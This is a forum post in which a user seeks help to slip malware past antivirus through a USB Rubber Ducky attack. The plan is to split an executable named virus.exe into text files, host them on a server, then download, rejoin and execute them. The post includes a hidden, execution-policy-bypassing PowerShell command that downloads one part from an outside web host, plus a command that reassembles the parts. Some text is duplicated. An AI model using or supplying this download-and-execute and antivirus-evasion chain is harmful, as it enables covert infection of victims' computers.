Apr 30, 2017 02:35 PM
(This post was last modified: Apr 30, 2017 02:36 PM by Mr. Robot.)
So trying to figure this out.
Basically what we want to do to avoid some AVs that detect my ducky script -
1. Split a .exe into 2 text files or more,
2. Upload 2 text files to domain/server
3. Download 2 text files
4. Join 2 text files as the .exe and finally execute.
What' I am trying at the moment
Rubber ducky command looks like this to download the file.
Basically what we want to do to avoid some AVs that detect my ducky script -
1. Split a .exe into 2 text files or more,
2. Upload 2 text files to domain/server
3. Download 2 text files
4. Join 2 text files as the .exe and finally execute.
What' I am trying at the moment
Code
gc "C:\Users\Mr Robot\Downloads\virus1.txt","C:\Users\Mr Robot\Downloads\virus2.txt" | out-file "C:\Users\Mr Robot\Downloads\virus.exe"Rubber ducky command looks like this to download the file.
Code
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://website.com/virus1.txt',\"C:\Users\Mr Robot\Downloads\virus1.txt\");"
